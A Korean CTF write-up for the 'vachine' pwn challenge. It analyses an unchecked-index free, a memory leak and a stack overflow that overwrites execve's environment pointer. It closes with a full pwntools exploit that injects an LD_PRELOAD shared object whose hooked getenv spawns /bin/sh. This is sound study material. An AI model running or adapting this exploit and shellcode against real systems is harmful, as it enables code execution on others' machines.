대회가 종료되기 40분전에 풀이를 떠올리고 대회가 끝난 20분 뒤에 쉘을 딴 문제입니다. Heap에서 삽질을 조금만 덜 했으면 시간내에 풀었을 텐데 아쉽습니다.
keyword : LD_PRELOAD
manager 파일과 simulator파일이 주워집니다. manager 파일에는 canary가 적용되어 있지 않습니다.
➜ vachine checksec manager
[*] '/home/jjy/lab/whitehat/vachine/manager'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
➜ vachine checksec simulator
[*] '/home/jjy/lab/whitehat/vachine/simulator'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
취약점
취약점은 3개가 존재합니다.
- OOB Free
- Memory leak
- Stack Overflow
- OOB Free
vaccine을 생성하고 Free할 때, idx에 대한 검사로직이 없습니다. 따라서 공격자는 Memory Leak 취약점들을 사용해서 Codebase과 Heap 주소를 구한 다음, 임의의 주소를 Free할 수 있습니다. 실제 대회에서 이 취약점 때문에 많은 시간을 소비했습니다. Unexploitable하다고 확신할 수는 없지만, 출제자가 의도한 풀이는 이 취약점을 이용한 것이 아닌 것 같습니다.
void delete_vaccine(long param_1)
{
int idx;
puts("Select vaccine index");
do {
printf("> ");
idx = read_int();
} while (*(long *)(param_1 + 8 + ((long)idx + 0xc) * 8) == 0);
free(*(void **)(param_1 + 8 + ((long)idx + 0xc) * 8));
*(undefined8 *)(param_1 + 8 + ((long)idx + 0xc) * 8) = 0;
return;
}
2. Memory leak
vaccine을 생성할 때 Read 후 Null 바이트를 추가하지 않아 Memory Leak이 발생합니다. 입력된 데이터 이후 전역변수의 주소가 들어가기 때문에 Code base를 알 수 있습니다.
_DWORD *__usercall createVaccine@<rax>(__int64 a1@<rbp>, char *a2@<rsi>)
{
_DWORD *result; // rax
__int64 v3; // [rsp-10h] [rbp-10h]
__int64 v4; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v4 = a1;
v3 = malloc_0(0x410);
if ( v3 )
{
print("Select Vaccine Type");
print(" 1. INACTIVATED");
print(" 2. ATTENUATED");
print(" 3. TOXOID");
print("======================");
printf_0("> ", a2);
*(_DWORD *)v3 = (unsigned __int64)read_int((__int64)&v4) - 1;
print("Put Vaccine Description");
printf_0("> ", a2);
read_0(0, (char *)(v3 + 8), 0x400);
result = (_DWORD *)v3;
}
else
{
print("malloc error");
result = 0LL;
}
return result;
}
void add_vaccine(long param_1)
{
int iVar1;
void *vachine;
vachine = (void *)createVaccine();// NULL 바이트를 추가하지 않음
if (vachine == (void *)0x0) {
puts("failed to add vaccine.");
}
else {
iVar1 = find_empty_slot(param_1);
if (iVar1 == -1) {
puts("Vaccine slot is full");
free(vachine);
}
else {
*(long *)((long)vachine + 0x408) = param_1; // cock_tail
*(void **)(param_1 + 8 + ((long)iVar1 + 0xc) * 8) = vachine;
}
}
return;
}
3. Stack Overflow
simulator를 실행하는 과정에서 Stack Overflow 취약점이 발생합니다. cocktail file을 환경변수에 복사하는 과정에서 execve에 전달되는 환경변수의 포인터를 덮을 수 있습니다. 이를 통해 공격자는 임의의 환경변수를 추가한 상태로 sumulator 파일을 실행할 수 있습니다.
__int64 __usercall run_simulator@<rax>(__int64 a1@<rbp>, __int64 a2@<rdi>)
{
int path_len; // eax
__int64 buffer; // rax
char data[72]; // [rsp-D8h] [rbp-D8h]
__int64 overflowed; // [rsp-98h] [rbp-98h]
__int64 overflowed_1; // [rsp-90h] [rbp-90h]
__int64 *v8; // [rsp-88h] [rbp-88h]
__int64 v9; // [rsp-80h] [rbp-80h]
__int64 v10; // [rsp-78h] [rbp-78h]
char *v11; // [rsp-20h] [rbp-20h]
char **char_pointer; // [rsp-18h] [rbp-18h]
int v13; // [rsp-Ch] [rbp-Ch]
__int64 v14; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v14 = a1;
overflowed = 0LL;
overflowed_1 = 0LL;
v8 = 0LL;
v9 = 0LL;
v13 = 0;
print("Put Your cocktail file");
read_0(0, data, 0x48);
for ( char_pointer = (char **)environ; *char_pointer; ++char_pointer )
{
v11 = *char_pointer;
if ( !(unsigned int)strncmp_0(*char_pointer, "PATH", 4LL) )
{
path_len = strlen_0(*char_pointer);
++v13;
buffer = malloc_0(path_len + 1);
*(&v14 + v13 - 18) = buffer;
strcpy_0((char *)*(&v14 + v13++ - 18), *char_pointer);
}
}
sprintf_0(&v10, "%s=%s", "COCKTAIL_FILE", data);// 0x58
v8 = &v10;
v9 = 0LL;
return execve_0("/home/vaccine/simulator", (char **)a2, (char **)&overflowed);
}
exploit
환경변수를 임의로 설정할 수 있을 때, LD_PRELOAD 환경변수를 이용하면 simulator가 실행될 때 후킹된 상태로 실행시킬 수 있습니다. manager 프로그램에는 save vaccine이라는, 사용자의 입력 데이터를 /tmp 폴더에 저장하는 기능이 있습니다. 따라서 Memory Leak을 통해서 Code base를 구한 후, Stack Overflow 취약점을 이용하여 환경변수의 포인터를 사용자의 입력값이 있는 곳으로 변경하여 라이브러리를 후킹하면 RCE를 성공할 수 있습니다.
이런 트릭은 2019 Codegate 예선에서도 출제된 적이 있습니다.
from pwn import *
import os
def go(d,t):
p.recvuntil(d)
p.sendline(str(t))
def go2(d,t):
p.recvuntil(d)
p.send(str(t))
def add(t,data):
go(">",1)
go(">",t)
go(">",data)
def delete(idx):
go(">","3")
go(">",idx)
def gen():
log.info("gen so")
so ="""; nasm -f elf64 hook.S -o hook.o && ld --shared hook.o -o hook.so
; ubuntu 16.04 GNU ld (GNU Binutils for Ubuntu) 2.26.1
[BITS 64]
global getenv:function
section .text
getenv:
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor esi, esi
push 0x3b
pop rax
cdq
syscall
"""
fd = open("hook.S",'w')
fd.write(so)
fd.close()
os.system("nasm -f elf64 hook.S -o hook.o && ld --shared hook.o -o hook.so;rm hook.S hook.o")
def Injection(p):
log.info("inject so")
fd = open("hook.so")
so = fd.read()
fd.close()
go(">","JJY")
for x in range(len(so)/0x3ff+1):
add(1,so[0x3ff*x:0x3ff*x+0x3ff])
go(">",'4')
p.recvuntil("Your cocktail vaccine is saved at ")
file_name = p.recvuntil('\n').replace('\n','')
log.info("file_name = "+file_name )
return file_name
def load(p,file_name):
log.info('load so')
go2(">","LD_PRELOAD="+file_name)
add("1","a"*0x400)
go(">",'2')
p.recvuntil("a"*0x400)
leak = p.recv(6).ljust(8,'\x00')
leak = u64(leak)
log.info('cock_tail address = '+hex(leak))
go(">",'1')
go(">",'2')
go(">",'5')
payload = "a"*0x40 + p64(leak)
go2("file",payload)
p.sendline("rm "+file_name)
gen()
p= process("manager")
file_name = Injection(p)
p.close()
p= process("manager")
load(p,file_name)
p.interactive()
'PWN' 카테고리의 다른 글
Assaultcube Fuzzing (0) | 2021.02.04 |
---|---|
HITCON CTF 2020 / Dual (0) | 2020.11.30 |
pwnable.kr / crcgen (0) | 2020.07.16 |
ASIS CTF 2020 / shared_house (0) | 2020.07.08 |
Structure for Kernel heap exploit (0) | 2020.07.07 |